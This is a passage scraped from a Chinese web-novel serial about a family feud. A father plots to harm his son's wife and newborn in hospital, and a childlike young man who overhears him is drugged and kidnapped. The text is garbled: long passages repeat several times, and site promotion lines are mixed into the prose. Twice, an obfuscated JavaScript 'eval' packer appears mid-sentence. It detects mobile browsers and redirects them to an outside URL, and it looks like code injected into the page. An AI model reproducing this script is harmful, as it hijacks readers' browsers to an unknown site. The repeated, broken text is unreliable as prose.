“父亲,您放心,我自己的身体自己知道,没问题的,阿洲那边怎么样了?” “陆京洲那个蠢货,命真大,地震怎么没把他震死!” “父亲,您别这么说,他再怎么说也是我亲弟弟。” “亲弟弟?你把他当成他亲弟弟,她有把你当成亲哥哥吗?别帮他说话了。” 陆沉奕沉默了2秒才再次开口,“听说,笙笙生宝宝了?” “他们怎么样都不关我们的事儿,好好把你自己身体养好,才是最重要的,要是拿不下京耀的合作,那10%的股份就真的只能给他了。” 傅聿琛站在门外,提着外卖袋子的手无意识地收紧了。 冰淇淋盒子边缘的冰凉触感透过纸袋传到掌心,他却恍然未觉。 里面陌生的对话像一根根细小的冰针,扎进他混沌的意识里。 有些词他能听懂,比如“地震”、“宝宝”、“股份”,但连在一起的意思,却让他感到一种本能的、模糊的不安。 尤其是那句“命真大,地震怎么没把他震死”,像淬了毒的钩子,让他心里猛地一沉。 阿洲……地震……有人希望阿洲死掉? 这个认知让他原本因为找到“家”而雀跃的心情瞬间跌到谷底。 他往后退了一小步,后背轻轻抵在冰凉的墙壁上,大眼睛里满是困惑和一丝不易察觉的警惕。 他不是完全不懂恶意,只是现在的他,理解和表达都变得简单直白。 门内的对话还在继续。 陆沉奕的父亲声音压得更低,却带着一种冷酷的算计,“阿奕,你就是心太软。现在正是好机会。陆京洲刚当爹,心思全在他老婆孩子身上,软肋全露在外面。 医院这种地方,人多手杂,出点‘意外’……太容易了。到时候,京耀的合作,还有那10%的股份,自然都是你的。老太太再偏心,难不成还能把家业交给一个连自己老婆孩子都护不住的废物?” “父亲!”陆沉奕的声音提高了些许,带着不赞同,“那是两条人命!还有刚出生的孩子!” “妇人之仁!”陆父嗤笑,“成大事者不拘小节。你看看陆京洲,以前多嚣张,现在呢?抱着老婆孩子,骨头都软了。 机会就这一次,等他缓过劲,回了公司,再想动他就难了。 你听我的,安排人,不用直接动手,制造点混乱……比如,新生儿监护室那边,电路‘老化’出点问题?或者,产妇产后虚弱,用药上稍微‘疏忽’一点?神不知鬼不觉。” 傅聿琛的眼睛一点点睁大。他虽然不能完全理解那些具体的阴谋,但“孩子”、“老婆”、“用药”、“意外”这些词,组合在一起传递出的险恶意图,像冰冷的潮水漫过他的四肢百骸。 笙笙!宝宝!阿洲最宝贝的笙笙和宝宝! 一股陌生的、激烈的情绪冲撞着他单纯的心绪,那是一种混合着愤怒、恐慌和保护欲的激流。 他死死咬住下唇,提着袋子的手因为用力而微微颤抖,另一只手无意识地攥成了拳头。 不行!不能让他们伤害阿洲和笙笙!还有小宝宝! 他忘了自己是来找“12楼”的,忘了手里的外卖,满脑子只剩下一个念头:快回去!告诉阿洲!有坏人! 他转身就想跑,脚步却踉跄了一下,手里的外卖袋子撞在墙壁上,发出“哐”一声轻微的闷响。 门内的谈话声戛然而止。 “谁?!”陆父警惕的声音传来。 傅聿琛吓得心脏怦怦直跳,脑子里一片空白,下意识地缩紧身体,紧紧贴着墙壁,屏住呼吸。 他听见脚步声朝着门口而来。 “父亲,您放心,我自己的身体自己知道,没问题的,阿洲那边怎么样了?” “陆京洲那个蠢货,命真大,地震怎么没把他震死!” “父亲,您别这么说,他再怎么说也是我亲弟弟。” “亲弟弟?你把他当成他亲弟弟,她有把你当成亲哥哥吗?别帮他说话了。” 陆沉奕沉默了2秒才再次开口,“听说,笙笙生宝宝了?” “他们怎么样都不关我们的事儿,好好把你自己身体养好,才是最重要的,要是拿不下京耀的合作,那10%的股份就真的只能给他了。” 傅聿琛站在门外,提着外卖袋子的手无意识地收紧了。 冰淇淋盒子边缘的冰凉触感透过纸袋传到掌心,他却恍然未觉。 里面陌生的对话像一根根细小的冰针,扎进他混沌的意识里。 有些词他能听懂,比如“地震”、“宝宝”、“股份”,但连在一起的意思,却让他感到一种本能的、模糊的不安。 尤其是那句“命真大,地震怎么没把他震死”,像淬了毒的钩子,让他心里猛地一沉。 阿洲……地震……有人希望阿洲死掉? 这个认知让他原本因为找到“家”而雀跃的心情瞬间跌到谷底。 他往后退了一小步,后背轻轻抵在冰凉的墙壁上,大眼睛里满是困惑和一丝不易察觉的警惕。 他不是完全不懂恶意,只是现在的他,理解和表达都变得简单直白。 门内的对话还在继续。 陆沉奕的父亲声音压得更低,却带着一种冷酷的算计,“阿奕,你就是心太软。现在正是好机会。陆京洲刚当爹,心思全在他老婆孩子身上,软肋全露在外面。 医院这种地方,人多手杂,出点‘意外’……太容易了。到时候,京耀的合作,还有那10%的股份,自然都是你的。老太太再偏心,难不成还能把家业交给一个连自己老婆孩子都护不住的废物?” “父亲!”陆沉奕的声音提高了些许,带着不赞同,“那是两条人命!还有刚出生的孩子!” “妇人之仁!”陆父嗤笑,“成大事者不拘小节。你看看陆京洲,以前多嚣张,现在呢?抱着老婆孩子,骨头都软了。 机会就这一次,等他缓过劲,回了公司,再想动他就难了。 你听我的,安排人,不用直接动手,制造点混乱……比如,新生儿监护室那边,电路‘老化’出点问题?或者,产妇产后虚弱,用药上稍微‘疏忽’一点?神不知鬼不觉。” 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他死死咬住下唇,提着袋子的手因为用力而微微颤抖,另一只手无意识地攥成了拳头。 不行!不能让他们伤害阿洲和笙笙!还有小宝宝! 他忘了自己是来找“12楼”的,忘了手里的外卖,满脑子只剩下一个念头:快回去!告诉阿洲!有坏人! 他转身就想跑,脚步却踉跄了一下,手里的外卖袋子撞在墙壁上,发出“哐”一声轻微的闷响。 门内的谈话声戛然而止。 “谁?!”陆父警惕的声音传来。 傅聿琛吓得心脏怦怦直跳,脑子里一片空白,下意识地缩紧身体,紧紧贴着墙壁,屏住呼吸。 他听见脚步声朝着门口而来。 第239章 他怎么会这么像陆京洲 脚步声停在门后,似乎带着审视的意味顿了顿。 傅聿琛死死捂住嘴,连呼吸都凝滞了,大眼睛里盛满了惊惶,像只被逼到角落的小兽。 他本能地觉得,不能被里面的人发现。 门把手转动的声音细微却清晰。 就在门缝即将扩大的瞬间,走廊另一端,电梯“叮”一声响,几位医生护士交谈着走了出来。 门内的动作停住了。 傅聿琛抓住这稍纵即逝的机会,用尽全身力气,像离弦的箭一样冲向另一侧的消防通道。 他不敢坐电梯,只凭着来时的模糊记忆和一股急切的冲动,顺着楼梯向下狂奔。 手里的外卖袋子在剧烈的跑动中晃荡得厉害,他顾不上护着,只紧紧抓着提绳。 脑子里只剩下阿洲和笙笙的脸,还有那可怕的、想要伤害他们的对话。 一层、两层……数字在眼前模糊闪过,他记不清自己到底下了几层,只凭着一股劲儿往下冲。 直到熟悉的消毒水气味变得浓重,周围的嘈杂声也多起来,他才猛地停住脚步,胸口剧烈起伏,大口大口喘着气。抬头一看,墙壁上贴着一个蓝色的“7”字。 这是……哪里? 他茫然地转了个圈,眼前是繁忙的住院部普通楼层,人来人往,却没有他熟悉的那条铺着地毯的安静走廊。 迷路了。 恐慌再次攫住了他。 他急得原地转了两圈,大眼睛里迅速蒙上一层水汽。 不行,不能哭,要找到阿洲,要告诉他坏人要害他们! 他强迫自己镇定下来,努力回忆。阿洲和笙笙的房间……是12楼。 他刚刚是从很高的地方跑下来的,那他现在应该……往上走? 对,往上! 他立刻转身,又冲进了楼梯间,开始向上爬。 这一次,他爬得很急,小腿有些发酸,但心里那股火烧火燎的焦急支撑着他。 爬了几层,他又不确定了。刚才跑下来的时候太慌乱,根本没数。万一爬过了怎么办? 正犹豫着,楼梯间的门被推开,一个护士抱着病历夹走进来,看到他一个人提着袋子站在楼梯中间,关切地问,“先生,你没事吧?需要帮忙吗?怎么在楼梯间里?” 傅聿琛像抓住了救命稻草,语无伦次地说,“找……找阿洲,找笙笙!12楼!坏人!有坏人!” 他现在什么人都不敢相信,只敢自己跑,嘴里还不断的念叨着。 找阿洲…… 你的朋友正在书荒,快去帮帮他吧 找笙笙…… 小心宝宝…… 有坏人! 他胡乱对护士点了点头,甚至忘了道谢,转身就继续往楼梯上冲。 “哎!先生!护士在后面叫了一声,有些担忧地看着他急促的背影,但手头还有工作,只好摇摇头离开了。 傅聿琛数着楼层,一层,两层……三层! 到了到了,到12楼了! 他猛地推开楼梯间的门,冲了出去。 然而,眼前的景象却让他愣住了。 同样是铺着柔软地毯的走廊,同样安静。 但格局、装饰,甚至空气里弥漫的淡香,都与他记忆中的12楼VIP病区有所不同。 他焦急地左右张望,熟悉的房门并没有出现在视线里。 这里不是他们的病房所在的那栋楼! 巨大的失落和更深的恐慌瞬间淹没了他。 他跑错了楼! 刚才……他跑下来的,可能是另一栋住院楼的12楼! “错了……错了……他喃喃自语,急得团团转,手里的外卖袋子被他无意识地攥得皱成一团。 冰凉的奶茶渗出纸袋,沾湿了他的手指,他也毫无所觉。 必须回去! 回到对的楼去! 他像只没头苍蝇,转身又冲回楼梯间。这一次,他慌不择路,只想着快点下楼,快点找到正确的路。 楼梯间里光线略显昏暗,他心急如焚,脚下步子又急又快。 就在拐过一个楼梯转角,冲向下一层时—— “哎哟! 一个身影正从下面的楼梯平台走上来,两人结结实实地撞在了一起! 傅聿琛冲力不小,对方似乎也猝不及防,两人惊呼着,齐齐向后跌坐下去。 “啪嗒! 傅聿琛手里的外卖袋子脱手飞出,重重摔在地上。 包装袋破裂,里面的奶茶杯盖崩开,淡粉色的液体汩汩流出,迅速浸湿了地毯; 装着小蛋糕的盒子也摔开了,精致的奶油草莓摔得一塌糊涂; 冰淇淋杯滚了出来,盖子松动,融化的乳白色液体缓缓溢出。 一片狼藉。 “我的……外卖…… 他给笙笙和阿洲买的…… 这是他攒了很久的零花钱,现在全没有了。 怎么办? 他们应该也很期待外卖的…… 你身边有不少朋友还没看到本章呢,快去给他们剧透吧 现在全撒了。 他看了一眼一地的狼藉又看了一眼爹坐在地上头发花白的老太太瘪了瘪嘴还是选择了扶那个老太太起来。 “对不起是我走太急了您没事儿吧?” 他说是这么说眼睛还是不自觉的往撒了一地的外卖上漂。 陆老太太刚做完全身体检要乘电梯下楼没想到被一个****躁躁的小伙子撞倒了。 不过……自己也有点问题。 想着赶紧做完体检要去笙笙那边没看路这才撞到了他“没事没事没受伤。” 陆老太太拍了拍自己身上的灰扶着他的手起来刚抬头就愣在了原地。 他……怎么会那么像阿洲! 不是说单五官上的感觉也很像就是性格怪怪的…… “奶奶……您真的没事儿吗?” 陆老太太呆呆的看着他最后摇了摇头“没事儿没事儿。” 傅聿琛看了一眼地上撒了一地的外卖又想到刚才他们说的那些话已经来不及把地上的东西清理干净只能麻烦保洁阿姨了。 “实在对不起是我太着急了没看路这才撞到了您我现在有点急事儿您真的没事儿吗?” 他的两只手紧紧的搅在一起看起来很是局促。 陆老太太的目光紧紧追随着傅聿琛那张与陆京洲年轻时惊人相似的脸心中波澜骤起。 轮廓、眉眼、乃至不经意间抿唇的弧度……都像是一个模子里刻出来的甚至比从小养在她身边的和陆京洲 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17083604|191758||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 亲生的哥哥陆沉奕还要像! 可这份相似之下却是截然不同的灵魂。 眼前这年轻人眼神清澈得近乎懵懂 说话的语气和道歉时绞紧双手的小动作更不像是个心智成熟的成年人该有的反应。 他……似乎有些不太一样。 陆老太太阅人无数心中立刻有了模糊的判断。 智商有点问题! 这个念头冒出来时陆老太太心里轻轻揪了一下。 多好的孩子长着一张和京洲几乎复刻的脸怎么偏偏…… 她看着傅聿琛蹲下身对着那摊狼藉的奶茶和蛋糕皱着眉嘴角瘪了又瘪那副快要哭出来的模样心里的怜惜更甚。 “奶奶我真的得走了您一定好好的要是不舒服记得找医生!”傅聿琛又匆匆叮嘱了一句眼神里满是焦灼仿佛身后有什么在追着他。 他再次深 恭喜你可以去书友们那里给他们剧透了,他们一定会“羡慕嫉妒恨”的 深鞠了一躬,起身时还踉跄了一下,转身就朝着楼梯间外的电梯口冲去,脚步又急又沉,踩在地毯上发出“咚咚”的声响。 傅聿琛却像是被无形的鞭子抽打着。 他飞快地摇了摇头,目光又一次掠过地上那片狼藉,心疼和不舍一闪而过,但更强烈的焦急盖过了一切。 “我、我要去找我弟弟!很急很急的事!对不起奶奶,我真的得走了!” 他再次深深鞠了一躬,几乎是用逃的速度,转身冲向了不远处的电梯,手指带着微颤,用力按下了向下的按钮。 电梯门缓缓打开,他闪身进去,消失在陆老太太的视线里。 傅聿琛死死盯着跳动的楼层数字,心脏在胸腔里擂鼓一样狂跳。 弟弟……阿洲……坏人要害他们……这些念头在他混乱的脑子里反复撕扯,让他几乎无法呼吸。 “叮——” 一楼到了。 电梯门刚一打开,他就迫不及待地往外冲。 大厅里人来人往,嘈杂的声音冲入耳膜,他更加慌乱,只想快点跑到正确的A栋去。 然而,就在他踏出电梯没两步,刚辨认出通往A栋的走廊方向时—— 一只戴着黑色皮质手套的大手,猛地从侧面伸过来,严严实实地捂住了他的口鼻! 一股刺鼻的、带着甜腻化学气味的东西瞬间侵入他的鼻腔! “唔——!”傅聿琛惊恐地瞪大眼睛,双手本能地去抓那只手,双脚胡乱踢蹬。 但他那点力气,在早有预谋的成年人面前,根本微不足道。 袭击者显然不止一人。 另一只手迅速有力地箍住了他挣扎的身体,几乎是半拖半抱地,将他快速拉向大厅一侧相对僻静的安全出口通道。 整个过程快得惊人,加上他们刻意选择了视线死角,大厅里匆匆来往的人们竟无人察觉这短暂的异常。 傅聿琛只觉得那股甜腻的气味直冲脑门,力气迅速从四肢百骸流失,视线开始模糊旋转,耳边的嘈杂声也变得遥远。 他想喊“阿洲”,想喊“救命”,却只能发出微弱无意义的“嗬嗬”声。 最后的意识里,是头顶冰冷的天花板灯光,和拖拽着他的人影投下的、扭曲晃动的阴影。 然后,黑暗彻底降临。 第240章 陆父发现傅聿琛的存在 陆老太太站在原地,看着那扇已然合拢的电梯门,微微叹了口气。 那孩子刚才说……要去找弟弟? 看来是有家人陪在身边的。 还提到了坏人? 应该是遇到什么难处了,哎…… 她摇了摇头,暂时压下心中那点异样的熟悉感和挥之不去的怜惜,眼下更重要的是去看她的宝贝曾孙们。 整理了一下衣着,陆老太太朝着正确的VIP病房走去。 刚到12楼,还未走近那扇熟悉的病房门,就隐隐感觉到了不同寻常的气氛。 门口的保镖似乎比平时多了一倍,个个神情紧绷。 病房内传出压抑的交谈声,声音虽然不大,却透着焦灼。 推开门,眼前的景象让陆老太太心头一紧。 病房里站满了保镖。 而……陆京洲焦急的安排着什么? 岑予衿也没有躺着好好坐月子,反而是一脸紧张的站在陆京洲身边,情绪有些激动,“阿洲,怎么样还是没有消息吗?” 陆京洲摇了摇头,“就2分钟的时间,他怎么能跑那么快呢?现在……成功的一点线索都没有了。” 岑予衿挺自责的,这件事情主要在于她,是她同意他下去拿外卖的…… 陆京洲看出了她的自责,揉了揉她的头发,“回去躺着,人我能找到,坐月子就好好坐月子,不可以吹冷风,相信我。” 陆老太太看他们像是在找什么人,但是,也不确定,还是开了口,“笙笙,是发生什么事儿了吗?” 陆京洲并不想让老太太知道这些事情,抓住了他的手。 岑予衿心领神会,“没发生什么事儿,奶奶您怎么过来了?” “当然是来看我两个曾孙宝宝了。” 岑予衿强压下心头的慌乱,努力挤出一个笑容,顺着陆老太太的话说道,“是呀,奶奶您看,他们睡得多香。” 她引着老太太走向并排的两张婴儿床,动作轻柔,生怕吵醒了宝宝,也借此掩饰自己微微发抖的手指。 陆老太太的注意力立刻被两个粉雕玉琢的曾孙吸引了过去。 看着他们恬静的睡颜,红扑扑的小脸,心中顿时充满了慈爱和满足,刚才在楼梯间遇到的那点插曲和病房里不寻常的气氛,暂时被她抛在了脑后。 “哎哟,瞧瞧这小模样,跟阿洲小时候简直一模一样……”陆老太太俯下身,眼神温柔得能滴出水来,仔细端详着两个宝宝,脸上露出了笑容。 陆京洲见奶 奶的注意力被转移,迅速给了岑予衿一个安抚的眼神。 然后不动声色地后退一步,对着旁边一位助理使了个眼色,两人悄无声息地退出了主病房区域,进入了与之相连的VIP套房专属的办公间。 厚重的房门轻轻合拢,隔绝了外间的温馨与内里的紧绷。 办公间内的气氛截然不同。 几名核心助理和安保负责人早已等候在此,每个人的脸色都异常严肃。 “说。”陆京洲站在办公桌前,双手撑着桌面,身体前倾,声音压得很低,却带着迫人的压力。 “陆总,”安保负责人立刻汇报,“已经调取了B栋12楼楼梯间、一楼大厅及所有相关出口的监控。傅聿琛少爷最后出现在监控画面里,是在B栋一楼大厅东侧,靠近安全通道出口的位置,时间大约是47分钟前。之后,那个区域的监控出现了约15秒的信号干扰雪花,恢复后,傅少爷就不见了。” “信号干扰?”陆京洲眼神一厉。 “是。技术部门初步判断,是人为的、小范围的专业**所致。手法很干净。” “医院所有出入口排查结果?” “还在进行中,目前没有发现傅少爷被强行带离的明确影像。但根据干扰时间和地点推断,对方很可能利用那十几秒的盲区,通过安全通道或其他隐蔽路径将人转移,或者……使用了伪装手段。” 陆京洲闭了闭眼,太阳穴突突直跳。 最坏的情况正在被证实,这不是简单的走失,而是有预谋的带走或**。 对方的目标是聿琛? 还是通过聿琛来针对陆家? 还是说傅家的人已经盯上他了…… 他想起聿琛离开前,兴高采烈地说要给笙笙买她念叨了好久的奶茶和蛋糕。 心紧紧的揪在了一起…… 不能让他出事儿,要不然这几个月的努力白费了。 他也对不起他这些的鼎立支持。 以前的他,拼了命的帮他。 现在的他,哪怕不能拼了命的回报,也要竭尽全力,叫他平平安安的带回来。 送回他父母身边。 …… 郊区仓库! 黑暗的环境,阴冷潮湿。 屋顶的冰雪融化,发出滴答滴答的声响。 听起来,特别渗人! 傅聿琛打了个寒战。 冰冷的触感从手腕和脚踝传来,粗糙的麻绳深深勒进皮肉,带来火辣辣的痛感。 傅聿 琛艰难地动了动,发现自己被牢牢绑在一张冰冷的铁椅上,动弹不得。 更让他恐惧的是,他的嘴巴被宽大的胶带封得严严实实,只能从鼻腔里发出微弱的“唔唔”声。 他费力地睁开眼睛,视线逐渐适应了昏暗。 这是一个废弃的仓库,很高,很空,只有高处几扇蒙尘的小窗透进些许惨淡的光线,勉强勾勒出堆叠的废弃木箱和锈蚀机械的轮廓。 空气里弥漫着铁锈、灰尘和一种难以言喻的霉味,冰冷刺骨。 屋顶确实在滴水,那规律而空洞的“滴答”声,在死寂中显得格外清晰、诡异,像某种倒计时,敲打在他紧绷的神经上。 他扭着头,惊恐地四下张望。 不远处,站着两个男人,背对着他,正在低声交谈。 他们穿着普通的深色外套,戴着帽子和口罩,看不清面容。 其中一人手里摆弄着一个黑色的仪器,另一个人则警惕地观察着仓库入口的方向。 “大哥,人弄来了,接下来怎么办?雇主怎么说?”摆弄仪器的男人声音沙哑。 “等着。”被称为大哥的男人言简意赅,声音更沉,“雇主只说把人带到这里,看好了,别出差错。钱已经到账一半,事成之后付清。其他的……少问。” “这小子……看起来不太对劲啊。傻乎乎的。”沙哑男瞥了傅聿琛一眼。 傅聿琛接触到那冷漠的一瞥,吓得猛地缩了缩脖子,喉咙里溢出惊恐的呜咽。 他想起了昏迷前那刺鼻的气味,捂着他口鼻的大手,还有那飞快掠过的医院天花板……阿洲!笙笙!宝宝!坏人! 他更用力地挣扎起来,铁椅与水泥地面摩擦,发出刺耳的声响。 “老实点!”沙哑男不耐烦地低喝一声,走过来,居高临下地看着他,眼神里没有半分温度,“再乱动,有你好受的。” 傅聿琛被他眼中的凶狠吓住了,僵在原地,大眼睛里迅速蓄满了泪水,在昏暗的光线下显得格外无助和可怜。 他想问他们是谁,为什么要抓他,想求他们放了他,他要去找阿洲,有坏人要害阿洲和宝宝…… 可是嘴巴被封着,他一个字也说不出来,只能发出绝望的“呜呜”声,眼泪顺着脸颊滚落,浸湿了胶带的边缘。 沙哑男似乎有些烦躁,不再理他,转身走回同伙身边。 傅聿琛独自被困在冰冷的椅子上,被无尽的恐惧和寒意包围。 绳子勒得很痛,胶带让他呼吸困难,冰冷的空气仿佛要冻僵他的 血液。 **这里是哪里,不知道这些人要对他做什么,更不知道阿洲和笙笙现在怎么样了,有没有发现他不见了,有没有遇到危险…… 阿洲…… 他在心里一遍遍呼喊,巨大的无助感和对未知的恐惧快要将他吞噬。 他多希望这只是一场噩梦,醒来就能看到阿洲熟悉的脸,听到他沉稳的声音告诉他“别怕”。 可是手腕的剧痛、冰冷的椅子和那持续不断的滴水声,都在残忍地告诉他……这不是梦。 仓库外,寒风呼啸。 而仓库内,只有无边的黑暗、刺骨的寒冷。 时间在冰冷的仓库里仿佛凝固了,只有那单调的滴水声。 不知过了多久,仓库外传来汽车引擎由远及近的声音,最终熄灭。 守门的“大哥”立刻警惕地直起身,走到门口,透过缝隙向外张望。 沙哑男也停止了摆弄仪器,站了起来。 沉重的铁门被从外面推开,发出刺耳的“吱呀”声。 几道手电筒的光柱率先刺破黑暗,晃了进来。 两个身影一前一后走了进来。 走在前面的中年男人,穿着考究的羊绒大衣,面容严肃,眉宇间带着久居上位的威严和一丝不易察觉的疲惫,正是陆京洲的父亲。 跟在他身后的年轻男人,西装革履,面容与陆父有几分相似,但线条更冷硬,眼神也更加深沉锐利,透着一种精于算计的冷静——陆家长孙,陆沉奕。 “人怎么样了?”陆父开口,声音低沉,目光扫向仓库深处被绑在椅子上的傅聿琛。 傅聿琛听到陌生又熟悉的声音,吓得浑身一颤,泪眼朦胧地望过去。 血液。 **这里是哪里,不知道这些人要对他做什么,更不知道阿洲和笙笙现在怎么样了,有没有发现他不见了,有没有遇到危险…… 阿洲…… 他在心里一遍遍呼喊,巨大的无助感和对未知的恐惧快要将他吞噬。 他多希望这只是一场噩梦,醒来就能看到阿洲熟悉的脸,听到他沉稳的声音告诉他“别怕”。 可是手腕的剧痛、冰冷的椅子和那持续不断的滴水声,都在残忍地告诉他……这不是梦。 仓库外,寒风呼啸。 而仓库内,只有无边的黑暗、刺骨的寒冷。 时间在冰冷的仓库里仿佛凝固了,只有那单调的滴水声。 不知过了多久,仓库外传来汽车引擎由远及近的声音,最终熄灭。 守门的“大哥”立刻警惕地直起身,走到门口,透过缝隙向外张望。 沙哑男也停止了摆弄仪器,站了起来。 沉重的铁门被从外面推开,发出刺耳的“吱呀”声。 几道手电筒的光柱率先刺破黑暗,晃了进来。 两个身影一前一后走了进来。 走在前面的中年男人,穿着考究的羊绒大衣,面容严肃,眉宇间带着久居上位的威严和一丝不易察觉的疲惫,正是陆京洲的父亲。 跟在他身后的年轻男人,西装革履,面容与陆父有几分相似,但线条更冷硬,眼神也更加深沉锐利,透着一种精于算计的冷静——陆家长孙,陆沉奕。 “人怎么样了?”陆父开口,声音低沉,目光扫向仓库深处被绑在椅子上的傅聿琛。 傅聿琛听到陌生又熟悉的声音,吓得浑身一颤,泪眼朦胧地望过去。 血液。 **这里是哪里,不知道这些人要对他做什么,更不知道阿洲和笙笙现在怎么样了,有没有发现他不见了,有没有遇到危险…… 阿洲…… 他在心里一遍遍呼喊,巨大的无助感和对未知的恐惧快要将他吞噬。 他多希望这只是一场噩梦,醒来就能看到阿洲熟悉的脸,听到他沉稳的声音告诉他“别怕”。 可是手腕的剧痛、冰冷的椅子和那持续不断的滴水声,都在残忍地告诉他……这不是梦。 仓库外,寒风呼啸。 而仓库内,只有无边的黑暗、刺骨的寒冷。 时间在冰冷的仓库里仿佛凝固了,只有那单调的滴水声。 不知过了多久,仓库外传来汽车引擎由远及近的声音,最终熄灭。 守门的“大哥”立刻警惕地直起身,走到门口,透过缝隙向外张 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17083605|191758||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 望。 沙哑男也停止了摆弄仪器,站了起来。 沉重的铁门被从外面推开,发出刺耳的“吱呀”声。 几道手电筒的光柱率先刺破黑暗,晃了进来。 两个身影一前一后走了进来。 走在前面的中年男人,穿着考究的羊绒大衣,面容严肃,眉宇间带着久居上位的威严和一丝不易察觉的疲惫,正是陆京洲的父亲。 跟在他身后的年轻男人,西装革履,面容与陆父有几分相似,但线条更冷硬,眼神也更加深沉锐利,透着一种精于算计的冷静——陆家长孙,陆沉奕。 “人怎么样了?”陆父开口,声音低沉,目光扫向仓库深处被绑在椅子上的傅聿琛。 傅聿琛听到陌生又熟悉的声音,吓得浑身一颤,泪眼朦胧地望过去。 血液。 **这里是哪里,不知道这些人要对他做什么,更不知道阿洲和笙笙现在怎么样了,有没有发现他不见了,有没有遇到危险…… 阿洲…… 他在心里一遍遍呼喊,巨大的无助感和对未知的恐惧快要将他吞噬。 他多希望这只是一场噩梦,醒来就能看到阿洲熟悉的脸,听到他沉稳的声音告诉他“别怕”。 可是手腕的剧痛、冰冷的椅子和那持续不断的滴水声,都在残忍地告诉他……这不是梦。 仓库外,寒风呼啸。 而仓库内,只有无边的黑暗、刺骨的寒冷。 时间在冰冷的仓库里仿佛凝固了,只有那单调的滴水声。 不知过了多久,仓库外传来汽车引擎由远及近的声音,最终熄灭。 守门的“大哥”立刻警惕地直起身,走到门口,透过缝隙向外张望。 沙哑男也停止了摆弄仪器,站了起来。 沉重的铁门被从外面推开,发出刺耳的“吱呀”声。 几道手电筒的光柱率先刺破黑暗,晃了进来。 两个身影一前一后走了进来。 走在前面的中年男人,穿着考究的羊绒大衣,面容严肃,眉宇间带着久居上位的威严和一丝不易察觉的疲惫,正是陆京洲的父亲。 跟在他身后的年轻男人,西装革履,面容与陆父有几分相似,但线条更冷硬,眼神也更加深沉锐利,透着一种精于算计的冷静——陆家长孙,陆沉奕。 “人怎么样了?”陆父开口,声音低沉,目光扫向仓库深处被绑在椅子上的傅聿琛。 傅聿琛听到陌生又熟悉的声音,吓得浑身一颤,泪眼朦胧地望过去。 血液。 **这里是哪里,不知道这些人要对他做什么,更不知道阿洲和笙笙现在怎么样了,有没有发现他不见了,有没有遇到危险…… 阿洲…… 他在心里一遍遍呼喊,巨大的无助感和对未知的恐惧快要将他吞噬。 他多希望这只是一场噩梦,醒来就能看到阿洲熟悉的脸,听到他沉稳的声音告诉他“别怕”。 可是手腕的剧痛、冰冷的椅子和那持续不断的滴水声,都在残忍地告诉他……这不是梦。 仓库外,寒风呼啸。 而仓库内,只有无边的黑暗、刺骨的寒冷。 时间在冰冷的仓库里仿佛凝固了,只有那单调的滴水声。 不知过了多久,仓库外传来汽车引擎由远及近的声音,最终熄灭。 守门的“大哥”立刻警惕地直起身,走到门口,透过缝隙向外张望。 沙哑男也停止了摆弄仪器,站了起来。 沉重的铁门被从外面推开,发出刺耳的“吱呀”声。 几道手电筒的光柱率先刺破黑暗,晃了进来。 两个身影一前一后走了进来。 走在前面的中年男人,穿着考究的羊绒大衣,面容严肃,眉宇间带着久居上位的威严和一丝不易察觉的疲惫,正是陆京洲的父亲。 跟在他身后的年轻男人,西装革履,面容与陆父有几分相似,但线条更冷硬,眼神也更加深沉锐利,透着一种精于算计的冷静——陆家长孙,陆沉奕。 “人怎么样了?”陆父开口,声音低沉,目光扫向仓库深处被绑在椅子上的傅聿琛。 傅聿琛听到陌生又熟悉的声音,吓得浑身一颤,泪眼朦胧地望过去。 血液。 **这里是哪里,不知道这些人要对他做什么,更不知道阿洲和笙笙现在怎么样了,有没有发现他不见了,有没有遇到危险…… 阿洲…… 他在心里一遍遍呼喊,巨大的无助感和对未知的恐惧快要将他吞噬。 他多希望这只是一场噩梦,醒来就能看到阿洲熟悉的脸,听到他沉稳的声音告诉他“别怕”。 可是手腕的剧痛、冰冷的椅子和那持续不断的滴水声,都在残忍地告诉他……这不是梦。 仓库外,寒风呼啸。 而仓库内,只有无边的黑暗、刺骨的寒冷。 时间在冰冷的仓库里仿佛凝固了,只有那单调的滴水声。 不知过了多久,仓库外传来汽车引擎由远及近的声音,最终熄灭。 守门的“大哥”立刻警惕地直起身,走到门口,透过缝隙向外张望。 沙哑男也停止了摆弄仪器,站了起来。 沉重的铁门被从外面推开,发出刺耳的“吱呀”声。 几道手电筒的光柱率先刺破黑暗,晃了进来。 两个身影一前一后走了进来。 走在前面的中年男人,穿着考究的羊绒大衣,面容严肃,眉宇间带着久居上位的威严和一丝不易察觉的疲惫,正是陆京洲的父亲。 跟在他身后的年轻男人,西装革履,面容与陆父有几分相似,但线条更冷硬,眼神也更加深沉锐利,透着一种精于算计的冷静——陆家长孙,陆沉奕。 “人怎么样了?”陆父开口,声音低沉,目光扫向仓库深处被绑在椅子上的傅聿琛。 傅聿琛听到陌生又熟悉的声音,吓得浑身一颤,泪眼朦胧地望过去。 第241章 宁可错杀100,也不能放过一个 看了医院走廊的监控之后陆鹤嵩以最快的速度抓到他。 他知道他一定听了一些不该听的话因为他真的在门口听了好久。 与其留下祸患不如斩草除根该消灭就消灭掉。 “沉奕查到他的身份了吗?” 陆沉奕看到手里查的资料忍不住皱起了眉头“似乎是阿洲的好朋友近几个月一直在阿洲家里好像还失忆了!” 既然这样的话那更不能留了。 要不然他听到的那些话保证会传到陆京洲那个疯子的耳朵里。 